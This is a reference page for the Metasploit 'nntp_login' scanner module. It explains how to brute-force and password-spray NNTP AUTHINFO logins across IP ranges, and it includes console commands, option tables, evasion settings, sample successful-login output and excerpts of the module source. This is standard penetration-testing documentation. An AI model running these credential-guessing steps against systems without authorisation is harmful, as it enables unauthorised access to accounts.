NNTP Login Utility - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/nntp/nntp_login metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: NNTP Login Utility
Module: auxiliary/scanner/nntp/nntp_login
Source code: modules/auxiliary/scanner/nntp/nntp_login.rb
Disclosure date: -
Last modification time: 2019-03-05 03:38:51 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 119
List of CVEs: CVE-1999-0502
This module attempts to authenticate to NNTP services which support the AUTHINFO authentication extension. This module supports AUTHINFO USER/PASS authentication, but does not support AUTHINFO GENERIC or AUTHINFO SASL authentication methods.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/nntp/nntp_login
msf auxiliary(nntp_login) > show options
... show and set options ...
msf auxiliary(nntp_login) > set RHOSTS ip-range
msf auxiliary(nntp_login) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(nntp_login) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(nntp_login) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(nntp_login) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Description
This module attempts to authenticate to NNTP services which support the AUTHINFO authentication extension.
This module supports AUTHINFO USER/PASS authentication, but does not support AUTHINFO GENERIC or AUTHINFO SASL authentication methods.
If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.
Vulnerable Application
This module has been tested successfully on:
Verification Steps
- Do:
use auxiliary/scanner/nntp/nntp_login
- Do:
set RHOSTS [IP]
- Do:
set RPORT [IP]
- Do:
run
Scenarios
msf auxiliary(nntp_login) > run
[+] 172.16.191.166:119 - 172.16.191.166:119 Successful login with: 'asdf' : 'asdf'
[+] 172.16.191.166:119 - 172.16.191.166:119 Successful login with: 'zxcv' : 'zxcv'
[+] 172.16.191.166:119 - 172.16.191.166:119 Successful login with: 'test' : 'test'
[*] Scanned 1 of 2 hosts (50% complete)
[+] 172.16.191.213:119 - 172.16.191.213:119 Successful login with: 'asdf' : 'asdf'
[+] 172.16.191.213:119 - 172.16.191.213:119 Successful login with: 'admin' : 'admin'
[+] 172.16.191.213:119 - 172.16.191.213:119 Successful login with: 'user' : 'pass'
[*] Scanned 2 of 2 hosts (100% complete)
[*] Auxiliary module execution completed
Go back to menu.
Msfconsole Usage
Here is how the scanner/nntp/nntp_login auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/nntp/nntp_login
msf6 auxiliary(scanner/nntp/nntp_login) > show info
Name: NNTP Login Utility
Module: auxiliary/scanner/nntp/nntp_login
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
bcoles <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no A specific password to authenticate with
PASS_FILE /opt/metasploit-framework/embedded/framework/data/wordlists/unix_passwords.txt no The file that contains a list of probable passwords.
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 119 yes The target port (TCP)
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE /opt/metasploit-framework/embedded/framework/data/wordlists/unix_users.txt no The file that contains a list of probable usernames.
VERBOSE true yes Whether to print output for all attempts
Description:
This module attempts to authenticate to NNTP services which support
the AUTHINFO authentication extension. This module supports AUTHINFO
USER/PASS authentication, but does not support AUTHINFO GENERIC or
AUTHINFO SASL authentication methods.
References:
https://nvd.nist.gov/vuln/detail/CVE-1999-0502
https://tools.ietf.org/html/rfc3977
https://tools.ietf.org/html/rfc4642
https://tools.ietf.org/html/rfc4643
Module Options
This is a complete list of options available in the scanner/nntp/nntp_login auxiliary module:
msf6 auxiliary(scanner/nntp/nntp_login) > show options
Module options (auxiliary/scanner/nntp/nntp_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no A specific password to authenticate with
PASS_FILE /opt/metasploit-framework/embedded/framework/data/wordlists/unix_passwords.txt no The file that contains a list of probable passwords.
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 119 yes The target port (TCP)
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE /opt/metasploit-framework/embedded/framework/data/wordlists/unix_users.txt no The file that contains a list of probable usernames.
VERBOSE true yes Whether to print output for all attempts
Advanced Options
Here is a complete list of advanced options supported by the scanner/nntp/nntp_login auxiliary module:
msf6 auxiliary(scanner/nntp/nntp_login) > show advanced
Module advanced options (auxiliary/scanner/nntp/nntp_login):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
MaxGuessesPerService 0 no Maximum number of credentials to try per service instance. If set to zero or a non-number, this option will not be used.
MaxGuessesPerUser 0 no Maximum guesses for a particular username for the service instance. Note that users are considered unique among different services, so a user at 10.1.1.1:22 is different from one at 10.2.2.2:
22, and both will be tried up to the MaxGuessesPerUser limit. If set to zero or a non-number, this option will not be used.
MaxMinutesPerService 0 no Maximum time in minutes to bruteforce the service instance. If set to zero or a non-number, this option will not be used.
PASSWORD_SPRAY false yes Reverse the credential pairing order. For each password, attempt every possible user.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
REMOVE_PASS_FILE false yes Automatically delete the PASS_FILE on module completion
REMOVE_USERPASS_FILE false yes Automatically delete the USERPASS_FILE on module completion
REMOVE_USER_FILE false yes Automatically delete the USER_FILE on module completion
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
TRANSITION_DELAY 0 no Amount of time (in minutes) to delay before transitioning to the next user in the array (or password when PASSWORD_SPRAY=true)
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/nntp/nntp_login module can do:
msf6 auxiliary(scanner/nntp/nntp_login) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/nntp/nntp_login auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/nntp/nntp_login) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
- <PEER> Connection failed
- SSL negotiation failed: <E>
- <PEER> Error: <E.CLASS> <E> <E.BACKTRACE>
- <PEER> No response
- Unexpected reply
- Server is not a NNTP server
- Authentication is required before listing authentication capabilities.
- Server does not support AUTHINFO
- <PEER> No response
- <PEER> Unexpected reply. Skipping user...
- <PEER> No response
- <PEER> Login failed
- <PEER> Failed login as: '<USER>' - Unexpected reply: <RES.INSPECT>
- Connection failed
- SSL negotiation failed: <E>
- Error: <E>
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PEER> Connection failed
Here is a relevant code snippet related to the "<PEER> Connection failed" error message:
50:
51: each_user_pass { |user, pass| do_login user, pass }
52: rescue ::Interrupt
53: raise $ERROR_INFO
54: rescue EOFError, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
55: print_error "#{peer} Connection failed"
56: return
57: rescue OpenSSL::SSL::SSLError => e
58: print_error "SSL negotiation failed: #{e}"
59: rescue => e
60: print_error "#{peer} Error: #{e.class} #{e} #{e.backtrace}"
SSL negotiation failed: <E>
Here is a relevant code snippet related to the "SSL negotiation failed: <E>" error message:
53: raise $ERROR_INFO
54: rescue EOFError, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
55: print_error "#{peer} Connection failed"
56: return
57: rescue OpenSSL::SSL::SSLError => e
58: print_error "SSL negotiation failed: #{e}"
59: rescue => e
60: print_error "#{peer} Error: #{e.class} #{e} #{e.backtrace}"
61: return
62: ensure
63: disconnect
<PEER> Error: <E.CLASS> <E> <E.BACKTRACE>
Here is a relevant code snippet related to the "<PEER> Error: <E.CLASS> <E> <E.BACKTRACE>" error message:
55: print_error "#{peer} Connection failed"
56: return
57: rescue OpenSSL::SSL::SSLError => e
58: print_error "SSL negotiation failed: #{e}"
59: rescue => e
60: print_error "#{peer} Error: #{e.class} #{e} #{e.backtrace}"
61: return
62: ensure
63: disconnect
64: end
65: end
<PEER> No response
Here is a relevant code snippet related to the "<PEER> No response" error message:
66:
67: def nntp?
68: banner = sock.get_once
69:
70: if !banner
71: vprint_error "#{peer} No response"
72: return false
73: end
74:
75: if banner !~ /^200/
76: print_error 'Unexpected reply'
Unexpected reply
Here is a relevant code snippet related to the "Unexpected reply" error message:
71: vprint_error "#{peer} No response"
72: return false
73: end
74:
75: if banner !~ /^200/
76: print_error 'Unexpected reply'
77: return false
78: end
79:
80: vprint_status 'Server is a NTTP server'
81: vprint_status "Banner: #{banner}"
Server is not a NNTP server
Here is a relevant code snippet related to the "Server is not a NNTP server" error message:
86: sock.put "HELP\r\n"
87: res = sock.get(-1)
88: code = res.scan(/\A(\d+)\s/).flatten.first.to_i
89:
90: if code.nil?
91: print_error 'Server is not a NNTP server'
92: return false
93: end
94:
95: if code == 480
96: vprint_warning 'Authentication is required before listing authentication capabilities.'
Authentication is required before listing authentication capabilities.
Here is a relevant code snippet related to the "Authentication is required before listing authentication capabilities." error message:
91: print_error 'Server is not a NNTP server'
92: return false
93: end
94:
95: if code == 480
96: vprint_warning 'Authentication is required before listing authentication capabilities.'
97: return true
98: end
99:
100: if code == 100 && res =~ /authinfo/i
101: vprint_status 'Server supports AUTHINFO'
Server does not support AUTHINFO
Here is a relevant code snippet related to the "Server does not support AUTHINFO" error message:
100: if code == 100 && res =~ /authinfo/i
101: vprint_status 'Server supports AUTHINFO'
102: return true
103: end
104:
105: print_error 'Server does not support AUTHINFO'
106: false
107: end
108:
109: def do_login(user, pass)
110: vprint_status "Trying username:'#{user}' with password:'#{pass}'"
<PEER> No response
Here is a relevant code snippet related to the "<PEER> No response" error message:
114: sock.get_once
115:
116: sock.put "AUTHINFO USER #{user}\r\n"
117: res = sock.get_once
118: unless res
119: vprint_error "#{peer} No response"
120: return :abort
121: end
122:
123: code = res.scan(/\A(\d+)\s/).flatten.first.to_i
124: if code != 381
<PEER> Unexpected reply. Skipping user...
Here is a relevant code snippet related to the "<PEER> Unexpected reply. Skipping user..." error message:
120: return :abort
121: end
122:
123: code = res.scan(/\A(\d+)\s/).flatten.first.to_i
124: if code != 381
125: vprint_error "#{peer} Unexpected reply. Skipping user..."
126: return :skip_user
127: end
128:
129: sock.put "AUTHINFO PASS #{pass}\r\n"
130: res = sock.get_once
<PEER> No response
Here is a relevant code snippet related to the "<PEER> No response" error message:
127: end
128:
129: sock.put "AUTHINFO PASS #{pass}\r\n"
130: res = sock.get_once
131: unless res
132: vprint_error "#{peer} No response"
133: return :abort
134: end
135:
136: code = res.scan(/\A(\d+)\s/).flatten.first.to_i
137: if code == 452 || code == 481
<PEER> Login failed
Here is a relevant code snippet related to the "<PEER> Login failed" error message:
133: return :abort
134: end
135:
136: code = res.scan(/\A(\d+)\s/).flatten.first.to_i
137: if code == 452 || code == 481
138: vprint_error "#{peer} Login failed"
139: return
140: elsif code == 281
141: print_good "#{peer} Successful login with: '#{user}' : '#{pass}'"
142: report_cred ip: rhost,
143: port: rport,
<PEER> Failed login as: '<USER>' - Unexpected reply: <RES.INSPECT>
Here is a relevant code snippet related to the "<PEER> Failed login as: '<USER>' - Unexpected reply: <RES.INSPECT>" error message:
145: user: user,
146: password: pass,
147: proof: code.to_s
148: return :next_user
149: else
150: vprint_error "#{peer} Failed login as: '#{user}' - Unexpected reply: #{res.inspect}"
151: return
152: end
153: rescue EOFError, ::Rex::ConnectionError, ::Errno::ECONNREFUSED, ::Errno::ETIMEDOUT
154: print_error 'Connection failed'
155: return
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
149: else
150: vprint_error "#{peer} Failed login as: '#{user}' - Unexpected reply: #{res.inspect}"
151: return
152: end
153: rescue EOFError, ::Rex::ConnectionError, ::Errno::ECONNREFUSED, ::Errno::ETIMEDOUT
154: print_error 'Connection failed'
155: return
156: rescue OpenSSL::SSL::SSLError => e
157: print_error "SSL negotiation failed: #{e}"
158: return :abort
159: end
SSL negotiation failed: <E>
Here is a relevant code snippet related to the "SSL negotiation failed: <E>" error message:
152: end
153: rescue EOFError, ::Rex::ConnectionError, ::Errno::ECONNREFUSED, ::Errno::ETIMEDOUT
154: print_error 'Connection failed'
155: return
156: rescue OpenSSL::SSL::SSLError => e
157: print_error "SSL negotiation failed: #{e}"
158: return :abort
159: end
160: rescue => e
161: print_error "Error: #{e}"
162: return nil
Error: <E>
Here is a relevant code snippet related to the "Error: <E>" error message:
156: rescue OpenSSL::SSL::SSLError => e
157: print_error "SSL negotiation failed: #{e}"
158: return :abort
159: end
160: rescue => e
161: print_error "Error: #{e}"
162: return nil
163: ensure
164: disconnect
165: end
166:
Go back to menu.
Related Pull Requests
- #11523 Merged Pull Request: MSF5: Remove unneeded RHOST deregister in scanners
- #11234 Merged Pull Request: revisionism
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8566 Merged Pull Request: Add ye olde NNTP Login Utility scanner module
References
- CVE-1999-0502
- https://tools.ietf.org/html/rfc3977
- https://tools.ietf.org/html/rfc4642
- https://tools.ietf.org/html/rfc4643
See Also
Check also the following modules related to this module:
- auxiliary/scanner/telnet/brocade_enable_login
- auxiliary/scanner/db2/db2_auth
- auxiliary/scanner/http/dell_idrac
- auxiliary/scanner/http/dlink_dir_300_615_http_login
- auxiliary/scanner/http/dlink_dir_615h_http_login
- auxiliary/scanner/http/dlink_dir_session_cgi_http_login
- auxiliary/scanner/ftp/ftp_login
- auxiliary/scanner/http/http_login
- auxiliary/scanner/http/joomla_bruteforce_login
- auxiliary/scanner/mysql/mysql_login
- auxiliary/scanner/oracle/oracle_login
- auxiliary/scanner/pcanywhere/pcanywhere_login
- auxiliary/scanner/postgres/postgres_login
- auxiliary/scanner/rservices/rexec_login
- auxiliary/scanner/rservices/rlogin_login
- auxiliary/scanner/rservices/rsh_login
- exploit/multi/ssh/sshexec
- auxiliary/scanner/ssh/ssh_login
- auxiliary/scanner/telnet/telnet_login
- auxiliary/scanner/http/tomcat_mgr_login
- auxiliary/scanner/vmware/vmauthd_login
- auxiliary/scanner/vmware/vmware_http_login
- auxiliary/scanner/winrm/winrm_login
- auxiliary/scanner/http/wordpress_xmlrpc_login
- exploit/windows/nntp/ms05_030_nntp
- exploit/dialup/multi/login/manyargs
Related Nessus plugins:
- MPEi/X Default FTP Accounts
- Netscape Enterprise Default Administrative Password
- Unpassworded 'guest' Account
- Unpassworded 'EZsetup' Account
- Unpassworded 'demos' Account
- Unpassworded '4Dgifts' Account
- Unpassworded 'OutOfBox' Account
- Unpassworded 'root' Account
- Unpassworded 'lp' Account
- Unpassworded 'sync' Account
Authors
bcoles
Version
This page has been produced using Metasploit Framework version 6.1.29-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.